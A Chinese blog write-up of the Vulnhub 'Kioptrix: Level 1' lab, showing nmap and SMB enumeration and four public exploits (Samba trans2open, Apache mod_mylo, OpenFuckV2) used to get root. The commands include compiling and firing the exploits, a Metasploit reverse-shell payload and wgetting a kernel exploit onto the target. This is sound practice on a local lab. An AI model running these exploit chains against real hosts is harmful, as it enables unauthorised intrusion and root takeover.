• 0×01 Vulnhub靶机渗透总结之 Kioptrix: Level 1 (#1) 古老的Apache Samba VULN


    🔥系列专栏:Vulnhub靶机渗透系列
    🔥欢迎大佬:👍点赞⭐️收藏➕关注
    🔥首发时间: 2023年8月20日
    🌴如有错误 还望告知 万分感谢

    基本信息

    Kioptrix: Level 1 (#1),Vuluhub简单难度靶机。这个靶机的目标是通过任何可能的方式获得 root 访问权限,学习脆弱性评估和利用的基本工具和技术,没有太多的花里胡哨,公开漏洞的筛选和利用需要做出权衡,也许过程中会因为其他的发现而发生策略性的变化,其中的搜索、筛选、权衡、比对、工具技巧才是重点。这里选择了两种服务利用的提权方式,尝试了四种利用。希望你借此机器,能够感同身受地思考你攻击测试方向的选择。

    名称 说明
    靶机下载链接 https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
    作者 Kioptrix
    发布日期 17 Feb 2010
    难度 easy
    攻击机(kali) ip:192.168.80.148
    靶机(CentOS) ip:192.168.80.177

    信息收集

    主机发现、端口扫描、服务枚举、脚本漏扫(nmap)

    nmap 192.168.80.0/24 -sn --min-rate 1000
    nmap 192.168.80.177 -sT -p- --min-rate 1000 -oA nmap_result/port_scan
    nmap 192.168.80.177 -sU --top-ports -oA nmap_resule/portudp_scan
    nmap 192.168.80.177 -p $port -sT -sV -O -sC -oA nmap_result/server_info
    nmap 192.168.80.177 -p $port --script=vuln -oA nmap_result/vuln_info
    
    port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',') 
    

    image-20230817192626750

    开放端口:tcp 22,80,111,139,443,1024

    22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
    80/tcp open http Apache httpd 1.3.20 ((Unix)
    111/tcp open rpcbind
    139/tcp open netbios-ssn Samba smbd
    443/tcp open ssl/https Apache/1.3.20
    1024/tcp open status

    PORT 111 rpcbind

    searchsploit rpcbind
    nmap -sSUC -p111 192.168.10.1
    

    没有枚举出其他值得注意的服务

    PORT 139 SMB (enum4linux、smbclient)

    enum4linux枚举,smbclient连接共享

    enum4linux 192.168.80.177
    
    smbclient --no-pass //192.168.80.177
    smbclient --no-pass //192.168.80.177/IPC$
    smbclient --no-pass //192.168.80.177/ADMIN$
    smbclient "\\\\192.168.80.177\\IPC$"
    

    image-20230818015151114

    探测到了共享:ADMIN$ ,可匿名登录但拒绝访问文件

    PORT 22 SSH

    searchsploit openssh 2.9
    

    能尝试的有用户名枚举

    目录扫描(dirsearch、gobuster)

    未找到隐藏文件和其他目录

    dirsearch -u "http://192.168.80.177" -o dirsearch_info
    gobuster dir -u http://192.168.80.177 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -o gobuster_info
    

    PORT 80/443 http/https

    都是Apache默认页面,尝试从其他服务方面入手

    二次收集

    SMB版本探测

    服务枚举未探测扫samba的版本,使用MSFsmb_version模块探测版本信息。

     msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.80.177; set RPORT 139; run; exit'
    

    Unix (Samba 2.2.1a)

    shell as root

    1、(CVE-2003-0201)Samba RCE

    尝试Samba远程代码执行 Samba < 2.2.8 (Linux/BSD)- Remote Code Excution,对应的是10.c
    根据EXP注释中的语法规则编译执行

    searchsploit samba 2.2
    searchsploit samba -m 10
    
    gcc 10.c -o ./shellasroot
    ./shellasroot -b 0 -v 192.168.80.177
    

    image-20230818021854448

    成功获得root权限

    2、(CVE-2003-0201)Samba trans2open溢出

    Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)

    需要使用 MSF exploit/linux/samba/trans2open模块,设置 payload linux/x86/shell_reverse_tcp

    searchsploit samba 2.2
    searchsploit samba 2.2 -m 9924
    
    msfconsole -q -x 'use exploit/linux/samba/trans2open; set RHOSTS 192.168.80.177; set LPORT 5555;set payload linux/x86/shell_reverse_tcp; run; exit'
    

    image-20230818040541668

    成功拿到root

    3、(CVE-2003-0651)Apache RCE

    尝试apache远程代码执行漏洞 Apache 1.3.x mod_mylo - Remote Code Execution对应的是67.c
    根据EXP注释中的语法规则编译执行

    gcc 67.c -o 67test
    ./67test -t 192.168.80.177 -T 1
    

    image-20230818023001771

    成功拿到root权限

    4、(CVE-2002-0082)Apache SSL远程缓冲溢出

    <1>尝试apache远程缓存溢出Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c'Remote Buffer Overflow(1),对应的是764.c。

    gcc 764.c -o test764
    

    <2>gcc编译时提示未找到 openssl/ssl.h ,具体情况是安装 libssl-dev找不到相应的头文件,尝试安装各种库后仍失败了,查阅资料后,能编译成功做法是修改764.c,或者ubuntu中对原来764.c进行编译。但不幸尝试了两种方法进行编译后依旧报错,尝试执行依旧不行。

    <3>最后在764.c的前段注释中找到了方法。

    image-20230818034410480

    <4>尝试 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)

    依据注释进行编译

    searchsploit -m 47080
    gcc -o 47080 47080.c -lcrypto
    ./47080 0x6b 192.168.80.177 443 -c 50
    

    image-20230818034557228

    <5>执行时,需要要指定打入的内存参数,从80端口推测靶机为 RedHat,使用0x6b成功拿到shell

    image-20230818034933563

    image-20230818032544172

    拿到网站apache权限

    但发现获得apache权限时,会自动下载ptrace-kmod.c后gcc编译,提示 'Unable to establish SSL connect',
    kali中下载 ptrace-kmod.c到本地,查看注释是内核漏洞提权。使用py开启http服务将文件摆渡到靶机/tmp下,再次重新执行./47080

    //kali
    python3 -m http.server --bind 0.0.0.0 9000
    
    //靶机 apache权限
    cd /tmp
    wget http://192.168.80.148:9000/ptrace-kmod.c
    

    image-20230818032128184

    image-20230818130032872

    拿到root权限

    思路总结

    一、主机发现、端口扫描

    • 22(ssh):只能尝试爆破
    • 80(http):优先考虑
    • 111(rpc):放最后
    • 139(NetBIOS/SMB):特定EXP
    • 443(https):优先考虑
    • 1024:动态端口的开始,许多程序并不在乎用哪个端口连接网络,它们请求系统为它们分配下一个闲置端口。

    二、服务枚举。

    • Apache 1.3.20
    • Samba 2.2.1a(MSF探测版本)
    • mod_ssl 2.8.4
    • OpenSSL 0.9.6b

    三、发现web站点是apache默认页面并无太多有价值信息,则着手从各个服务出发,在对SMB服务进行枚举后发现存在共享,尝试无密码访问却无权浏览文件,则将攻击方向转变为各个服务,通过对公开漏洞进行搜索,并尝试了Samba服务和Apache服务的四个漏洞利用,均拿到了root权限。最后,这台靶机不难但也要做出反思:

    • 对于攻击者而言,一个小小的泄露可能会引起他的攻击兴趣。

    • 思考自己的操作是否会引发重大安全事件(例如严重的溢出)

    • 需要随时盘点获得的信息,并对其进行判断,重要的是思路的拓展和细节的把控,即使走不通的也有其中的尝试和思考。(Apache mod_ssl/Apache-SSL 远程缓冲溢出)

    技巧

    1. 端口整理技巧
      port=$(grep open nmap_result/port_scan.nmap|grep open|awk -F '/' '{print $1}'|paste -sd ',')
    2. searchsploit通过本地的exploit-db查找软件漏洞信息.也可以在exploit-db上查询和下载exp
      searchsploit xx(exp关键字) -m xx(文件) ,直接保存至当前目录,方便gcc编译。
    3. nmap探测不到 samba 的版本时,可尝试 msf 模块 auxiliary/scanner/smb/smb_version
    4. msfvenom 生成时使用的 payload 最好要与 msfconsole handler 中使用的 payload 要一致。否则可能收到响应,但没有 shell。
    5. rpcbind 就是服务端管理 rpc 服务的软件,而rpc 是远程过程调用。可以通过 nmap 获知服务端提供的 rpc 服务,根据不同的服务,相关利用参考

    参考链接
    字符截取命令
    ack The Kioptrix Level-1

    本文部分图文来源于网络,仅作学术分享,实验环境是本地搭建的靶机,目的在于维护网络安全,不做任何导向。如果非法使用,一切法律后果自行承担。
    转载请标明出处:https://www.cnblogs.com/wsec/

  • 相关阅读:
    Redis 事务
    SpringCloud-OAuth2(一):基础篇
    尚品汇后台管理项目SPU模块和SKU模块的实现
    NX上配置TLD的环境---对opencv的版本没有要求
    Python冷知识:如何找出新版本增加或删除了哪些标准库?
    声明式事务概念
    GPU架构变迁之AI系统视角:从费米到安培
    免费好用的第三方API汇总
    LeetCode第 303 场周赛
    MDT服务器的安装
  • 原文地址:https://www.cnblogs.com/wsec/p/vulnhub0x01.html